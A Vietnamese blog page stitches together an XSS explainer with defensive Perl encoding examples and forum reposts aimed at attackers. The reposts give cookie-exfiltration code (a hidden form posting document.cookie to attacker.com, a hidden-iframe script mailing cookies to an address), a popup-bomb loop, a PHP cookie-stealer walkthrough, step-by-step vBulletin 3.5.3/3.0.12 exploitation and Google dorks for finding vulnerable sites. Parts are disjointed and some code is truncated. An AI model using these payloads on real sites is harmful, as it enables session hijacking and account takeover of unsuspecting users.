http://www.4shared.com/file/16550517/e719cf1b/XSS.html
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. Trong bài viết này tôi sẽ đề cập sơ lược tới XSS với một số kinh nghiệm của tôi qua kĩ thuật tấn công này.
1. XSS là gì ?
Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML.
Kĩ thuật tấn công XSS đã nhanh chóng trở thành một trong những lỗi phổ biến nhất của Web Applications và mối đe doạ của chúng đối với người sử dụng ngày càng lớn. Người chiến thắng trong cuộc thi eWeek OpenHack 2002 là người đã tìm ra 2 XSS mới. Phải chăng mối nguy hiểm từ XSS đã ngày càng được mọi người chú ý hơn.
2. XSS hoạt động như thế nào ?
Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như là
www.example.com/search.cgi?query=<script>alert('XSS was found !');</script>]http://www.example.com/search.cgi?query=<script>alert('XSS was found !');</script>
Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !".
Các đoạn mã trong thẻ <script> không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ <script>. Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS.
Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của website. Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server.
Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm ..
3. Cảnh giác với XSS
Có lẽ không cần liệt kê những nguy hiểm của XSS, nhưng trên thực tế nếu bạn có một chút hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa. Thật vậy bạn hoàn toàn có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó.
Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS, trong đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt của bạn load thêm các website khác khi các lệnh HTML được hiển thị. Ví dụ như BadTrans Worm một loại worm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay Outlook Express:
CODE
--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="
--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="filename.ext.ext"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>
Đôi khi đang đọc thư bạn bị chuyển sang một website khác, bạn có nghĩ rằng bạn có thể mất mật khẩu ? Trước đây, hàng loạt các hộp thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư mà không rõ nguyên nhân. Có lẽ khi đó các bạn mở các bức thư mà không hề cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây nguy hiểm cho bạn. Chỉ cần với một đoạn mã HTML gửi trong thư bạn đã hoàn toàn bị mất cookie của mình:
CODE
<form action="http://attacker.com/save.asp" method="post" name="XSS">
<input type="hidden" name="cookie">
</form>
<img border="0" ***********="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();" src="none.jpg">
Vậy là khi bạn nhận thư, và nếu bạn vô tình đưa con chuột qua bức ảnh gửi kèm thì cũng có nghĩa là bạn đã bị lấy mất cookie. Và với cookie lấy được, các hacker có thể dễ dàng login hòm thư của bạn mà không cần biết mật khẩu của bạn. Thực sự tôi cũng rất bất ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn được hầu hết các mối đe doạ từ các thẻ HTML lại bỏ qua thẻ IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo đã kịp thời vá lỗ hồng nghiêm trọng này, nhưng không phải vì vậy mà bạn mất cảnh giác với những "lỗi" của website.
Nếu như bạn gặp một liên kết có dạng http://example.com/search.cgi?query=<s....</script> chắc chắn bạn sẽ phải xem xét kĩ trước khi click vào. Có thể là sẽ tắt JavaScript cho trình duyệt của bạn trước khi click vào hay ít nhất cũng có một chút cảnh giác. Nhưng nếu bạn gặp một liên kết như thế này thì sao :
http://example.com/search.cgi?%71%75%65%61...%72%69%70%74%3E
Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá. Một phần kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì. Bởi vậy bạn có thể sẽ gặp phải các đoạn mã nguy hiểm nếu như bạn mất cảnh giác với XSS.
Tât nhiên còn rất nhiều những kiểu tấn công khác, trong đó có những kiểu đã được tìm ra có những kiều chưa lường hết được, những trong khuôn khổ bài viết này tôi hi vọng với một vài ví dụ vừa rồi, các bạn cũng đã hiểu phần nào về XSS.
4. Phát hiện XSS bằng cách nào ?
Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com,... Tuy nhiên nếu các website được tự viết mã nguồn thì bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn cần đến các chương trình scanner tự động. Nếu như bạn sử dụng trong môi trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là những chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó.
Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows.
5. Ngăn ngừa XSS như thế nào ?
Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này.
OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng các website bảo mật cao, đối với các dữ liệu của người sử dụng bạn nên
+ Chỉ chấp nhận những dữ liệu hợp lệ.
+ Từ chối nhận các dữ liệu hỏng.
+ Liên tục kiểm tra và thanh lọc sữ liệu.
Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu hay không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để giải quyết.
Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng. Trong trường hợp này thẻ <script> sẽ được đổi thành <script>. Như vậy nó sẽ vẫn được in ra màn hình mà không hề gây nguy hiểm cho người sử dụng.
Tôi lấy ví dụ với script search.cgi với mã nguồn là
CODE
#!/usr/bin/perl
use CGI;
my $cgi = CGI->new();
my $query = $cgi->param('query');
print $cgi->header();
print "You entered $query";
Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu được nhập vào. Dĩ nhiên là khi in ra, nó sẽ in ra dưới dạng đoạn mã HTML, như thế nó không chỉ không in ra chính xác những dữ liệu vào một cách trực quan mà còn có tiềm ẩn lỗi XSS.
Như đã nói ở trên, để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự đặc biệt của HTML với hàm HTML::Entities::encode(). Như vậy ta có thể có một mã nguồn hoàn hảo hơn như sau:
CODE
#!/usr/bin/perl
use CGI;
use HTML::Entities;
my $cgi = CGI->new();
my $text = $cgi->param('text');
print $cgi->header();
print "You entered ", HTML::Entities::encode($text);
Tất nhiên với phương pháp này bạn cũng có thể áp dụng đối với các ngôn ngữ Web Application khác (ASP, PHP...). Để kiểm tra việc lọc và mã hoá dữ liệu trước khi in ra, các bạn có thể dùng một chương trình được viết bằng ngôn nhữ PHP, đặc biệt nó được thiết kế để phòng chống các lỗi XSS. Bạn có thể lấy mã nguồn chương trình từ http://www.mricon.com/html/phpfilter.html
Lọc và mã hoá các dữ liệu cho vấn là cách tốt nhất để chống XSS nhưng nếu bạn đang sử dụng mod_perl trên Apache Server thì bạn có thể dùng ngay module Apache::TaintRequest. Khi đó mã nguồn chương trình sẽ có dạng :
CODE
use Apache::TaintRequest;
my $apr = Apache::TaintRequest->new(Apache->request);
my $text = $apr->param('text');
$r->content_type("text/html");
$r->send_http_header;
$text =~ s/[^A-Za-z0-9 ]//;
$r->print("You entered ", $text);
Kĩ thuật XSS được mô tả lần đầu tiên cách đây 2 năm và hầu hết các khả năng tiềm ẩn của kĩ thuật này đã được biết đến. Tuy nhiên chúng ta mới chỉ khắc phục được một phần của nó. Không phải vô tình mà Yahoo Mail lại để sót một lỗi XSS trong bộ lọc của mình. Một phương pháp tối ưu vẫn còn đang ở phía trước.
Trùi, cần gì đến một bài, cross như thế nào thì đó là việc của các bác, tớ chỉ share một cách để inject JS vào thôi, đó là sử dụng external link, đơn giản thế thôi
( Vietnamese Version - Luke - HVA Copyrighted )
( 07/27/03)
STEAL COOKIE
VD nhé, đoạn script sau sẽ show cookie ở máy victim lên màn hình nè:
<script language='javascript'> alert(escape(document.cookie)); </script>
Rùi, bi giờ phải steal được cái đó và email về cho mình, hoặc đại loại như thế chứ show lên làm gì chúng nó biết mất hay hì hì.Nhưng mà các bác phải có chút kiến thức về coding, hoặc ít hất phải hiểu và biết sử dụng một số software như form mail, guestbook chẳng hạn
VD nếu có cái link http://www.yoursite.com/sendmail.php?to=bo...ontent=noi_dung để gửi một email đến địa chỉ mail boyinhp@yahoo.com với tiêu đề là tieu_de và nội dung là noi_dung, thế thì bác chỉ cần dùng đoạn script sau:
h="http://www.yoursite.com/sendmail.php?to=boyinhp@yahoo.com&subject=tieu_de&content="+escape(document.cookie)
window.open(w) chẳng hạn thì khi đó nội dung cookie sẽ được send về mail của các bác rùi mà show một cái popup như thế thì hay bị nghi ngờ lắm, làm thế nào để nó đừng có show popup chỉ âm thầm làm việc ở hậu trường là tốt nhất. Muốn thế chỉ cần chút kiến thức về Js là ok mà, VD: dùng document.write để write một cái ifame chẳng hạn, cũng là một cách hay (dùng)
<script language="javascript">
document.write("<iframe src='about:blank' width=0 height=0 id='f1'>");
h="http://www.yoursite.com/sendmail.php?to=boyinhp@yahoo.com&subject=tieu_de&content="+escape(document.cookie)
document.all.f1.src=h
</script>
BOM POPUP – Tràn ngập cửa sổ
<script language="javascript">
while(1)
window.open("about:may chet di hi hi")
</script>
( suu tam )
• Chống XSS :
XSS là một lỗi khá thông dụng hacker có thể sử dụng lỗi này để chôm chỉa cookies v…v…
Để chống lỗi này bạn nên làm như sau:
- Loại bỏ tất cả các tag html ( có thể sử dụng lệnh có sẵn) hoặc thay thể các kí tự đặc biệt như <,>,….
- Ngoài ra, những kí tự như: ;,:,//,… bạn nên xoá bỏ hoặc thay thế thanh mã hex của nó
+ Logging
• Logging là một kĩ thuật bảo mật khá đơn giản nhưng hiệu quả.
• Bạn nên log lại những thông tin về lỗi trên Website , rất có thể lỗi đó rất nguy hiểm có thể ảnh hưởng đến Website của bạn
• Bạn có thể chỉ cần bỏ thời gian viết những đoạn script logging đơn giản để có thể log lại những hoạt động bất hợp pháp trên Website của bạn.
• Sử dụng error_log() ( PHP ) , Err (ASP ), … là bạn có thể log lại bất cứ các err nào trên Website của bạn.
• Hiện nay , hầu như tất cả các Website lớn đều đặt Logging …
> a. XSS - Cookie Stealer ( đánh cắp cookie ) :
Ở phần này chúng ta sẽ nói về XSS ( hay CSS ) >> Cross Site Scripting , cách đặt code để lấy cookie trên các guestbooks hoặc các forum bảo mật kém lưu lại sau khi các user đăng nhập . Cookies được hầu hết các forum sử dụng nhằm xác nhận lại thông tin của user , và cookie cũng chỉ có 1 cho mỗi user , khi lấy được cookie của user nào chúng ta đã bắt đầu có thể trở thành user đó .
Trước tiên chúng ta hãy sử dụng PHP để tạo nên script lấy cắp cookie
Copy và save đoạn code trên thành stealer.php
Dưới đây là nội dung của đoạn code :
$cookie = $_GET['cookie'];
và đừng quên một dòng rất quan trọng :
$log = fopen("cookiesVNM.txt","a");
bạn hãy tạo 1 trang txt trống tên cookiesVNM.txt .
Upload 2 file nói trên lên host của bạn và đừng quên chmod file cookiesVNM.txt là 666 >> Như vậy căn bản là bạn đã có được script lấy cắp cookie .
Và trên 1 site bị lỗi XSS Injection , bạn có thể test bằng cách post đoạn code sau trong các phần cho phép của site :
nếu nhận được một Alert box ghi Testing For XSS Hole thì site này chắc chắn dính lỗi . Và chúng ta có thể đánh cắp cookie bằng cách dùng đoạn code sau :
đoạn code này sẽ redirects member đến trang stealer.php bạn đã tạo và lưu lại cookie trong file cookiesVNM.txt .
Bạn có thể tìm hiểu rõ hơn về XSS trong bài viết Hacking Guestbooks của GirL_Noob .
Phát hiện lỗi nghiêm trọng trong Yahoo! 360
From: ThaidnLợi dụng lỗi Cross Site Request Forgery của Yahoo! 360, kẻ xấu có thể xóa toàn bộ lời bình (comment) cũng như các bài viết (entry) trong blog của bạn.
Lỗ hổng nghiêm trọng ở chỗ cách khai thác rất dễ dàng. Kẻ xấu chỉ cần dụ bạn truy cập vào một đường link là hắn đã có thể dễ dàng thao túng blog của bạn. Cách tấn công dễ nhất xem chừng là tạo một entry trên Yahoo! 360 chứa các thẻ img liên kết đến các đường link xóa comment. Khi bạn vào đọc entry đó, ngay lập tức comment trong blog của bạn sẽ bị xóa. Thậm chí nếu muốn, khi bạn đang đọc bài viết này, tôi cũng có thể âm thầm xóa comment trên blog của bạn (điều kiện duy nhất là bạn vẫn chưa logout ra khỏi Yahoo!). Meomun, người đầu tiên phát hiện lỗi này, cho biết cách làm này có thể xóa luôn cả entry và toàn bộ blog của bạn. Để tự bảo vệ mình, bạn nên:
- logout ra khỏi Yahoo! ngay khi sử dụng xong.
- tắt chức năng tải img trong trình duyệt
Cross-Site Request Forgery (aka CSRF or XSRF) is a dangerous vulnerability present in just about every website. An issue so pervasion and fundamental to the way the Web is designed to function we've had a difficult time even reporting it as a "vulnerability". Which is also a main reason why CSRF does not appear on the Web Security Threat Classification or the OWASP Top 10. Times are changing and it’s only a matter of time before CSRF hacks its way into the mainstream consciousness. Chris Shiflett (principal of OmniTI) and I were speaking about this today and how to best convey the issues importance. CSRF may in fact represent an industry challenge far exceeding that of Cross-Site Scripting (XSS).Cách đây chừng một tháng, tôi cũng có tìm thấy một lỗi CSRF trong forum của HVAOnline. Sau khi sửa chữa xong, BQT HVAOnline cũng đã mở một topic thảo luận khá sôi nổi về cách thức phòng chống CSRF về phía server-side. Tôi khuyên bạn nên đọc về CSRF nếu bạn là một web developer!
vBulletin 3.0.12 & 3.5.3 XSS attack - 9/3/2006 16h:1
From: quantrimang.com
Lỗi được phát hiện trong phiên bản Vbulletin phiên bản 3.5.3 và 3.0.12 . Phát sinh do sơ suất của Admin trong việc cấu hình cho vbb và do vbb không kiểm tra các kí tự nhập vào của member khi khai báo địa chỉ email trong UserCp .
1. Vbulletin Option :
Enable Email features = Yes
Allow Users to Email Other Members = Yes
Use Secure Email Sending = No
forum/admins/options.php?do=options&dogroup=email
2. Nó có nguy hiểm không?
Với lỗi này , Attacker có thể dùng script để lấy Cookie của Admin , Hack Forum và còn nhiều hơn thế
3. Hack thế nào?
+ Đăng kí thành viên .
+ Vào UserCp phần Password & Email Option :
Chỉnh lại như sau :
- Pass : Your Pass
- Email: youemail@xxxxxxx?>.nomatt
- Lưu ý : vì vbb giới hạn số kí tự trong phần nhập email nên các bạn sẽ phải tìm một email ngắn 1 chút .
+ Vào UserCp phần Edit Options : chỉnh sửa lại như sau
- Receive Email from Other Members = Yes
+ Bây giờ bạn có thể chạy link sau để bắt đầu ...
http://forum/sendmessage.php?do=mailmember&u={your}_id
4. Làm sao để fix lỗi?
Những config trong Vbulletin Option là mặc định nên khi cài đặt vbulletin 3.53 hoặc 3.0.12 thì các bạn phải Disable tất cả các Option mà tôi đã nói ở trên . Đấy là cách đơn giản nhất để chống XSS .
Author : SysteM
Homepage: http://vip4rum.us
Email: vipabe@gmail.com
Những truy vấn tìm kiếm thú vị khác
Để tìm những site dễ bị tấn công bằng phương pháp Cross-Sites Scripting (XSS):
allinurl:/scripts/cart32.exe
allinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php
Không có nhận xét nào:
Đăng nhận xét